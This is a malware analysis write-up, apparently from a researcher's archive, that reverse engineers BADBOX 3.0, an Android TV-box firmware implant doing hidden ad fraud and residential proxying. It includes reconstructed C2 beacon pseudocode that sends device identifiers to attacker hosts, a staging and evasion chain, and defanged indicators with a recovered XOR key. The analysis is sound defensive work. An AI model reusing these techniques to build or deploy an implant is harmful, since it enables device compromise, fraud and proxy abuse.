M3GATR0N/Researcher ← Research archive
Case file 004/Android malware

BADBOX 3.0Android firmware implant

Reverse engineering of a firmware-resident AOSP implant that activates on selected TV-box hardware, stages encrypted Dalvik modules, falsifies Connected TV advertising telemetry, and exposes residential bandwidth through a reverse SOCKS5 relay.

Native engine
libanl.so
Platform
Android/AOSP
Architecture
ARMv7-A/AArch64
Published
01/Overview

A firmware implant built for persistent monetization.

BADBOX 3.0 is an Android Open Source Project firmware implant, not a Windows executable. Its runtime combines stripped ARM/AArch64 ELF shared libraries, encrypted Dalvik/ART modules, factory-installed launchers, and JNI-based loaders embedded in system or vendor partitions.

libanl.so begins through a system launcher or JNI_OnLoad, checks whether the device matches targeted TXCZ/Allwinner hardware, decrypts its network configuration, and retrieves second-stage modules. Those modules run hidden CTV advertising activity and register the device as a PXYEDGE residential proxy node.

Platform boundary: the core artifacts are ELF shared objects and Dalvik bytecode. The relevant runtime surfaces are Android system properties, JNI, DexClassLoader, firmware partitions, Unix sockets, WebViews, and native POSIX networking.
02/Findings

Six behaviors define the implant.

Finding 01

Firmware residency

The native engine is placed in system/vendor library paths and starts through privileged Android components, allowing it to remain after a factory reset.

Finding 02

Hardware activation gate

Manufacturer and board properties restrict execution to TXCZ, Allwinner, and sun50i device profiles.

Finding 03

Encrypted module staging

Secondary JAR/APK payloads use rotating XOR or RC4 protection and are instantiated through DexClassLoader.

Finding 04

Hidden CTV fraud

Invisible/zero-pixel WebViews and spoofed Smart TV headers generate start, midpoint, and completion advertising beacons.

Finding 05

Residential proxy relay

The device registers with PXYEDGE and forwards arbitrary SOCKS5 traffic through the victim's home connection.

Finding 06

Encrypted tasking

Device telemetry and task responses use AES-128-CBC or rotating XOR encoding before Base64 transport over HTTP/HTTPS.

03/Profile

Component profile

Native layer

Family
BADBOX 3.0
Lineage
BB2DOOR/Triada
Associated clusters
MoYu/SalesTracker
Format
ELF32/ELF64 LSB shared object
Architectures
ARMv7-A/ARMv8-A
Toolchain
Android NDK/Clang/LLVM
Symbols
.symtab stripped/JNI exports retained in .dynsym
Primary paths/system/lib/libanl.so
/system/lib64/libanl.so

Dynamic layer

Formats
DEX/JAR/APK
Modules
p.jar/q.jar
Loader
dalvik.system.DexClassLoader
Protection
Multi-byte XOR/RC4/encrypted string pools
API resolution
dlsym()/JNI reflection
Functions
CTV ad fraud/residential proxy relay
Staging paths/data/local/tmp/p.jar
/data/local/tmp/q.jar
04/Execution chain

From factory firmware to dual-use fraud services.

01

Factory ROM placement

The native shared object is embedded under /system/lib, /system/lib64, or /vendor/lib and starts through an Android launcher or runtime preload.

02

Native bootstrap

JNI_OnLoad initializes the engine, resolves native APIs, prepares local IPC through /dev/socket/bb_daemon, and reads the encrypted configuration.

03

Hardware validation

Android properties are checked for TXCZ, Allwinner, or sun50i markers. Payload staging stops when the device does not match the intended hardware profile.

04

Encrypted beacon

Android ID, MAC address, build fingerprint, and manufacturer data are serialized, encrypted, Base64-encoded, and sent to the active endpoint.

05

Module retrieval

The implant downloads encrypted catalogs and payloads from primary C2 domains or mirror hosts, then stages p.jar/q.jar.

06

Dynamic Dalvik execution

JNI reflection creates a DexClassLoader with the application class loader as parent, limiting the visibility of malicious logic in the original APK.

07

Ad fraud and proxying

Hidden WebViews emit false CTV video events while a second worker registers the device with PXYEDGE and runs a reverse SOCKS5 relay.

05/C2 operations

Encrypted beaconing with mirror failover.

init_network_client · RVA 0x000032A0 · file offset 0x000022A0

Network initialization

Initializes libcurl/native POSIX sockets and configures HTTP/HTTPS transport, including disabled SSL verification.

decrypt_c2_config · RVA 0x00003AC4 · file offset 0x00002AC4

Configuration recovery

Decrypts the .rodata configuration block containing primary domains, backup C2 addresses, payload mirrors, and proxy infrastructure.

send_device_beacon · RVA 0x00004180 · file offset 0x00003180

Device registration

Builds an encrypted JSON message containing the Android ID, MAC address, build fingerprint, manufacturer, and implant version.

dispatch_command_task · RVA 0x00004E10 · file offset 0x00003E10

Task dispatch

Decrypts C2 responses and routes task data to the ad-fraud, module-loading, or proxy-relay workers.

TransportHTTP/1.1/HTTPS
PortsTCP 80/443
Body protectionAES-128-CBC or rotating XOR/Base64
Baseline interval1,200 seconds
C-like pseudocode/device beacon and failover
snprintf(post_data, sizeof(post_data),
  "{\"dev_id\":\"%s\",\"build\":\"%s\",\"mfr\":\"%s\",\"ver\":\"3.0\"}",
  ctx->android_id, ctx->build_fingerprint, ctx->manufacturer);

enc_len = xor_encrypt_payload(post_data, strlen(post_data), enc_buffer, ctx->session_key);
status = http_post(ctx->primary_c2, "/ota/api/v1/check", enc_buffer, enc_len, &resp);
if (status != 200 || resp.body_len == 0)
  status = http_post(ctx->backup_c2, "/ota/api/v1/check", enc_buffer, enc_len, &resp);

if (status == 200) {
  xor_decrypt_payload(resp.body, resp.body_len, post_data, ctx->session_key);
  return dispatch_command_task(ctx, post_data);
}
06/Novel techniques

Code paths that separate BADBOX 3.0 from a basic Android loader.

Hardware-specific gate

Targeted firmware activation

The native engine queries ro.product.manufacturer and ro.board.platform, continuing only when it finds TXCZ, Allwinner, or sun50i identifiers.

check_device_properties · RVA 0x00002F10 · file offset 0x00001F10
Dynamic Dalvik loading

Runtime module execution

JNI reflection resolves dalvik/system/DexClassLoader, attaches the current application class loader, and executes decrypted JAR content outside the original APK.

stage_dex_module · RVA 0x00005580 · file offset 0x00004580
CTV/SSAI fraud

Spoofed complete video views

Hidden WebViews send start, midpoint, and completion events with Smart TV/Roku-style headers while no visible advertisement is shown.

execute_ssai_fraud · RVA 0x00007120 · file offset 0x00006120
Residential proxy relay

PXYEDGE node registration

The implant opens a TCP session, sends the PXYE protocol magic and node UUID, then starts a relay thread for inbound SOCKS5 traffic.

init_proxy_node · RVA 0x00006110 · file offset 0x00005110
07/Evasion and persistence

Firmware placement hides the implant below normal app controls.

T1195.001/Supply-chain compromise

Factory image insertion

The native component is placed directly inside factory firmware images before the device reaches the user.

T1542.001/System firmware

Factory-reset survival

System partition residency allows the implant to remain when a reset clears user data but restores the same compromised firmware.

T1027.002/Obfuscated files

Encrypted secondary modules

p.jar/q.jar and runtime strings are protected with rotating XOR or RC4 before loading.

T1497.001/System checks

OEM property gate

Activation depends on expected manufacturer/chipset properties, reducing execution in unrelated analysis environments.

T1564.008/Hidden window

Invisible WebView activity

Ad-fraud code runs in background WebViews configured as invisible or zero-pixel layouts.

T1090.003/Multi-hop proxy

Reverse SOCKS5 transport

The device becomes a residential relay, allowing external traffic to exit through the victim's public IP address.

08/Indicators

Indicators of compromise

Network indicators

TypeIndicatorContextRoutine
Domainad3g[.]comEncrypted C2 configurationdecrypt_c2_config · RVA 0x00003AC4
Domainapi[.]drgdj[.]topPrimary C2decrypt_c2_config · RVA 0x00003AC4
Domainapi[.]pixelpioneerss[.]comEncrypted C2 configurationdecrypt_c2_config · RVA 0x00003AC4
Domainapi[.]shzhtxcz[.]comBackup C2decrypt_c2_config · RVA 0x00003AC4
Domainfile[.]drgdj[.]topPayload mirrordownload_payload_module · RVA 0x00005220
Domaingh[.]drgdj[.]topPayload mirrordownload_payload_module · RVA 0x00005220
Domainmoyu88[.]xyzProxy-node configurationinit_proxy_node · RVA 0x00006110
Domainpxyedge[.]comResidential proxy serviceinit_proxy_node · RVA 0x00006110
Domainshzhtxcz[.]comHardware/campaign configurationcheck_device_properties · RVA 0x00002F10
IPv4107.151.239[.]17Proxy gatewayconnect_proxy_gateway · RVA 0x00006340
IPv4128.14.141[.]107Proxy gatewayconnect_proxy_gateway · RVA 0x00006340
IPv4129.227.67[.]234Proxy gatewayconnect_proxy_gateway · RVA 0x00006340
IPv439.108.226[.]196Proxy gatewayconnect_proxy_gateway · RVA 0x00006340
IPv447.106.197[.]183Proxy gatewayconnect_proxy_gateway · RVA 0x00006340
IPv447.113.90[.]237Proxy gatewayconnect_proxy_gateway · RVA 0x00006340
URL path/ota/api/Device beacon/tasking path familysend_device_beacon · RVA 0x00004180
User-AgentDalvik/2.1.0 (Linux; U; Android %s; %s Build/%s)Native network-client templateinit_network_client · RVA 0x000032A0

Host/configuration indicators

TypeIndicatorContextRoutine
File path/system/lib/libanl.so
/system/lib64/libanl.so
Firmware-resident native enginenative_install · RVA 0x00001850
File path/data/local/tmp/p.jarStaged Dalvik modulestage_dex_module · RVA 0x00005580
File path/data/local/tmp/q.jarStaged Dalvik modulestage_dex_module · RVA 0x00005580
System propertypersist.sys.txcz.debugTXCZ firmware markercheck_device_properties · RVA 0x00002F10
Unix socket/dev/socket/bb_daemonLocal IPC endpointinit_local_ipc · RVA 0x00002A10
XOR key5A A5 3C C3 1E E1 78 87Eight-byte rotating payload/configuration keyxor_decrypt_payload · RVA 0x000038F0
Protocol magic0x50585945/PXYEPXYEDGE node registrationinit_proxy_node · RVA 0x00006110
09/Artefacts

Debug strings and configuration layout

check manufacturer failed, aborting payload stage

Logged when manufacturer/board properties do not match the targeted device profile.

check_device_properties · RVA 0x00002F98 · file offset 0x00001F98
dex opt success: /data/local/tmp/p.jar

Marks successful extraction and Dalvik optimization of the secondary module.

stage_dex_module · RVA 0x00005610 · file offset 0x00004610
proxy node registered to pxyedge: %s:%d

Emitted after registration with the residential proxy service.

init_proxy_node · RVA 0x00006240 · file offset 0x00005240
ssai stream spoof start -> %s

Precedes the fake Connected TV video-ad beacon sequence.

execute_ssai_fraud · RVA 0x00007120 · file offset 0x00006120

Configuration structure

Magic0x42423330/BB30
Version0x0300/v3.0
Beacon interval1200 seconds
XOR key length8 bytes
Primary C2api[.]drgdj[.]top
Backup C2api[.]shzhtxcz[.]com
Mirror hostgh[.]drgdj[.]top
Proxy hostpxyedge[.]com
Proxy port1080/8443
Registration magic0x50585945/PXYE
10/Attack chain

Firmware-to-monetization sequence

01/EmbedNative engine placed in factory firmware
→
02/BootstrapSystem launcher/JNI_OnLoad starts implant
→
03/GateTXCZ/Allwinner/sun50i properties checked
→
04/BeaconEncrypted device profile sent to C2
→
05/StageEncrypted JAR modules retrieved
→
06/LoadDexClassLoader starts dynamic code
→
07/MonetizeHidden CTV fraud and SOCKS5 relay run